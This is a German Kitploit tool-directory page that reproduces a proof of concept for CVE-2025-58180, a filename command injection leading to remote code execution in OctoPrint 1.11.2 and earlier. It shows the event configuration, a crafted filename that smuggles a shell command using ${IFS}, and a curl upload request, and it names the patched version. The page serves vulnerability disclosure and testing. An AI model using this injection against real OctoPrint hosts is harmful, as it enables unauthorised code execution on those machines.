Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-58180 — In OctoPrint Version <=1.11.2 kann ein Angreifer mit Datei-Upload-Zugriff (z. B. gültiger API-Schlüssel oder Sitzung) einen bösartigen Dateinamen erstellen, der die Bereinigung umgeht und später vom Ereignissystem von OctoPrint ausgeführt wird, was zur Remote-Codeausführung (RCE) auf dem Host führt. | Kitploit
Tools/GitHubGitHub/prabhatverma47/cve-2025-58180
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and Control
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Über

In OctoPrint Version <=1.11.2 kann ein Angreifer mit Datei-Upload-Zugriff (z. B. gültiger API-Schlüssel oder Sitzung) einen bösartigen Dateinamen erstellen, der die Bereinigung umgeht und später vom Ereignissystem von OctoPrint ausgeführt wird, was zur Remote-Codeausführung (RCE) auf dem Host führt.

Teilen

CVE-2025-58180 RCE in OctoPrint durch unsanitären Dateinamen beim Dateiupload

In OctoPrint-Versionen <=1.11.2 kann ein Angreifer mit Dateiupload-Zugriff (z. B. gültiger API-Schlüssel oder Sitzung) einen bösartigen Dateinamen erstellen, der die Bereinigung umgeht und später vom Ereignissystem von OctoPrint ausgeführt wird, was zu Remote Code Execution (RCE) auf dem Host führt.


PoC: Schritte zur Nachstellung der Schwachstelle

Schritt 1: Versionsinformationen

Neueste stabile Version heruntergeladen: OctoPrint 1.11.2

Bild

Schritt 2: OctoPrint ausführen

octoprint serve --port 5000 --debug
  • Öffnen Sie http://127.0.0.1:5000 im Browser.
  • Durchlaufen Sie den Erstkonfigurationsassistenten → Benutzer mit Standardeinstellungen erstellen (deaktiviert: Konnektivität, anonym, Plugin).
  • API-Schlüssel aus Einstellungen → API holen → für später aufbewahren. Bild

Stoppen Sie den OctoPrint-Dienst, sobald die obigen Schritte abgeschlossen sind.


Schritt 3: Ereignisabonnement konfigurieren

Gemäß der OctoPrint-Ereignisdokumentation:

Bearbeiten Sie ~/.octoprint/config.yaml:

events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
Bild

Schritt 4: Beispiel-G-Code erstellen

Erstellen Sie /tmp/gcode/ok.gcode:

; minimal gcode
G28
M105

Starten Sie den OctoPrint-Dienst neu.


Schritt 5: Proof of Concept RCE

  1. API-Schlüssel exportieren:
export API_KEY='<key previously gathered from webUI>'
  1. Überprüfen, ob die Datei nicht existiert:
ls -la /tmp/test123
  1. Bösartigen Dateinamen-Payload erstellen: INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

Erklärung: ${IFS} ist das interne Feldtrennzeichen der Shell (normalerweise ein Leerzeichen). Es umgeht die Bereinigung, wenn es injiziert wird.

  1. Curl-Anfrage senden:
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. Ausführung überprüfen:
ls -la /tmp/test123
Bild

Wenn /tmp/test123 existiert, wurde der injizierte Befehl erfolgreich ausgeführt → RCE bestätigt.


Erklärung des Ablaufs

[User upload with crafted filename]
        │
        ▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
        │
        ▼
system command subscriber → subprocess.check_call(..., shell=True)
        │
        ▼
[Injected shell metacharacters execute as OS commands]

Zusammenfassung

Wenn eine Datei hochgeladen wird:

  1. OctoPrint akzeptiert den Dateinamen (mit eingeschränkter Bereinigung).
  2. Es löst ein FileAdded-Ereignis aus.
  3. Wenn Systembefehle für dieses Ereignis abonniert sind, wird der rohe Dateiname (einschließlich ;, ${IFS} usw.) an eine Shell übergeben.
  4. Dadurch können injizierte Befehle im Dateinamen auf dem Host ausgeführt werden.

Ergebnis: Remote Code Execution (RCE) auf dem Hostsystem.


Referenzen

  • CVE zugewiesen:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • Gepatchte Version: 1.11.3

Tool herunterladen